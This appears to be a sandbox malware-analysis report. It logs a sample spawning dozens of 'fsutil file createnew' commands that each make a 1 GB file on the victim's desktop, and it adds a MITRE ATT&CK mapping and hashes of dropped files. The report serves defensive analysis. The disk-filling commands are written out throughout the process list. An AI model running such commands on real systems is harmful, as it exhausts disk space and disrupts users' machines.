- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_18875.bin 1073741824
  2⤵
  PID:4976
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_24779.bin 1073741824
  2⤵
  PID:2960
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_27795.bin 1073741824
  2⤵
  PID:1308
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_11099.bin 1073741824
  2⤵
  PID:3920
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_11758.bin 1073741824
  2⤵
  PID:4192
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_9050.bin 1073741824
  2⤵
  PID:7608
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_4593.bin 1073741824
  2⤵
  PID:4836
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_8595.bin 1073741824
  2⤵
  PID:3716
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_23344.bin 1073741824
  2⤵
  PID:4620
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_392.bin 1073741824
  2⤵
  PID:2776
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_26421.bin 1073741824
  2⤵
  PID:3540
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_26092.bin 1073741824
  2⤵
  PID:4780
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_23296.bin 1073741824
  2⤵
  PID:468
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_19751.bin 1073741824
  2⤵
  PID:5832
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_8065.bin 1073741824
  2⤵
  PID:8692
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_30166.bin 1073741824
  2⤵
  PID:8832
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_11808.bin 1073741824
  2⤵
  PID:4536
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_4937.bin 1073741824
  2⤵
  PID:3168
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_11573.bin 1073741824
  2⤵
  PID:6512
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_20995.bin 1073741824
  2⤵
  PID:8940
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_23696.bin 1073741824
  2⤵
  PID:7860
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_11325.bin 1073741824
  2⤵
  PID:5420
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_20979.bin 1073741824
  2⤵
  PID:4708
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_3684.bin 1073741824
  2⤵
  PID:2204
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_1427.bin 1073741824
  2⤵
  PID:8560
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_19350.bin 1073741824
  2⤵
  PID:7560
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_11930.bin 1073741824
  2⤵
  PID:5336
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_25129.bin 1073741824
  2⤵
  PID:6312
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_28584.bin 1073741824
  2⤵
  PID:4288
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_4132.bin 1073741824
  2⤵
  PID:2720
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_21326.bin 1073741824
  2⤵
  PID:3816
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_14275.bin 1073741824
  2⤵
  PID:1424
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_6289.bin 1073741824
  2⤵
  PID:4688
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_5111.bin 1073741824
  2⤵
  PID:8172
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_20333.bin 1073741824
  2⤵
  PID:7088
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_15588.bin 1073741824
  2⤵
  PID:5132
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_17743.bin 1073741824
  2⤵
  PID:4568
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_31842.bin 1073741824
  2⤵
  PID:5972
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_16794.bin 1073741824
  2⤵
  PID:4488
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_29309.bin 1073741824
  2⤵
  PID:2340
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_4643.bin 1073741824
  2⤵
  PID:7584
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_2549.bin 1073741824
  2⤵
  PID:7588
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_26549.bin 1073741824
  2⤵
  PID:7904
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_15551.bin 1073741824
  2⤵
  PID:7320
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_654.bin 1073741824
  2⤵
  PID:7940
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_10369.bin 1073741824
  2⤵
  PID:7912
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_11999.bin 1073741824
  2⤵
  PID:8048
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_29466.bin 1073741824
  2⤵
  PID:8064
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_4432.bin 1073741824
  2⤵
  PID:5508
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_32535.bin 1073741824
  2⤵
  PID:3220
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_17274.bin 1073741824
  2⤵
  PID:1000
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_28735.bin 1073741824
  2⤵
  PID:8644
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_16492.bin 1073741824
  2⤵
  PID:6788
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_9.bin 1073741824
  2⤵
  PID:4116
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_8486.bin 1073741824
  2⤵
  PID:3912
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_8736.bin 1073741824
  2⤵
  PID:3612
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_10529.bin 1073741824
  2⤵
  PID:796
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_30950.bin 1073741824
  2⤵
  PID:4976
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_8901.bin 1073741824
  2⤵
  PID:2012
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_6638.bin 1073741824
  2⤵
  PID:4924
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_3057.bin 1073741824
  2⤵
  PID:5944

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Ignore Process Interrupts

T1564.011

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
MD5 b65d38126d60f6776d0fee761697a8ab
SHA1 fce1b1fa5ee6c386768d73e767a6bf9a04c23b30
SHA512 100a082250af816628e48f6949a2068bada9998b7bd29fa7408af7fd8d4425d03c85b92e6e2e4c08dc55e6bb56b4f31aedeaf3f4ac201e80d2cdac77353c5dd6
SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoi3jiRjdvRwa5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9Rg
TLSH
T11C636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 dc55f9211d60596e94a41e5c28566e98b3a0c5fad363023d3c395ecef7e7e049
MD5 14b0e891fa8f26ade680ca89deb18ab2
SHA1 2fe6baacf2623b5040b0fd382a1d64d0032f97b4
SHA512 c669a8aa68d4ee70287924e5fb77e68070d09b8d4d3c8570fa9372409e85164b6f87cddf6d755e16068830e81ebb3fcdaf82289e86f6c53a955b2ccc32d06c97
TLSH
T102115733B3CC8724C89A403650CEAC1036B597DB509ECE6BBB84D144B43F599DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 54aa570220e696de49a9a588711123e43032522c4578b6fa4f918d2666c1cb32
MD5 27db61c440595c38f5a7b661c618d0c9
SHA1 87613fdda39013791c068bdeec060f945fa2e908
SHA512 e367d57ce85719fa4e3cfd8083e0a5f71110b3f845c1ea7d3a0a3393066cfa90b96712701f044b731fab41ff6a751b7f4db794795c1f3aec955f642c3df25586
TLSH
T1FC115733F3CC8624C89A413650CEAC1036B587DB519ECE6BBB84D154B43F699DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_120mrnfv.nfa.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_120mrnfv.nfa.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

DisconnectAssert.mp4

Path C:\Users\Admin\Desktop\DisconnectAssert.mp4
Size 3B
SHA256 5ae7e6a42304dc6e4176210b83c43024f99a0bce9a870c3b6d2c95fc8ebfb74c
MD5 8597d4e7e65352a302b63e07bc01a7da
SHA1 78670e88a9c2c711124471d2f24a8dbc8ce5dba9
SHA512 0a238ed9ee16bc4fe4a25f1145452b9bd31d7c0605d55da55bef715adae51944c7f8c2ca5ef85cc373e6304b7534168e09732d6b3a20c74f26a4d4a8e4f53d63
MD5 SHA1 SHA512

Submit Download

chernobyl_warning.txt

Path C:\Users\Admin\Desktop\chernobyl_warning.txt
Size 20B
SHA256 699808e22950f7312a8faddae316443dd67146c70ad901f96950a92d10d4136c
MD5 ffb791d3d97b7a9cb172b856d36dedfb
SHA1 0f0e971e997c852d7eeeb13ee7c1a853f3a89c84
SHA512 8c438bc9a8eab1d7f3c5748d3f7afc1faa2582849bdcd7d7b0db5fda70b84a8609ada6bdd5ed11bb05c7bef80a989445115e5b33514f3b0d9d0a7417079c26b8
MD5 SHA1 SHA512

Submit Download

AssertMount.xlsx

Path C:\Users\Admin\Documents\AssertMount.xlsx
Size 3B
SHA256 709e80c88487a2411e1ee4dfb9f22a861492d20c4765150c0c794abd70f8147c
MD5 693e9af84d3dfcc71e640e005bdc5e2e
SHA1 29e2dcfbb16f63bb0254df7585a15bb6fb5e927d
SHA512 6d518f8b31d1882feace10a9215f5d8cf5afe037652a1d11d9c1408d988c2a4f71a5edfc85d0712fa3f4e21b2c0a244c8c0d333bab454311e24067d2a83e5e59
MD5 SHA1 SHA512

Submit Download

memory/3940-4-0x00000242D9C80000-0x00000242D9CA2000-memory.dmp

Download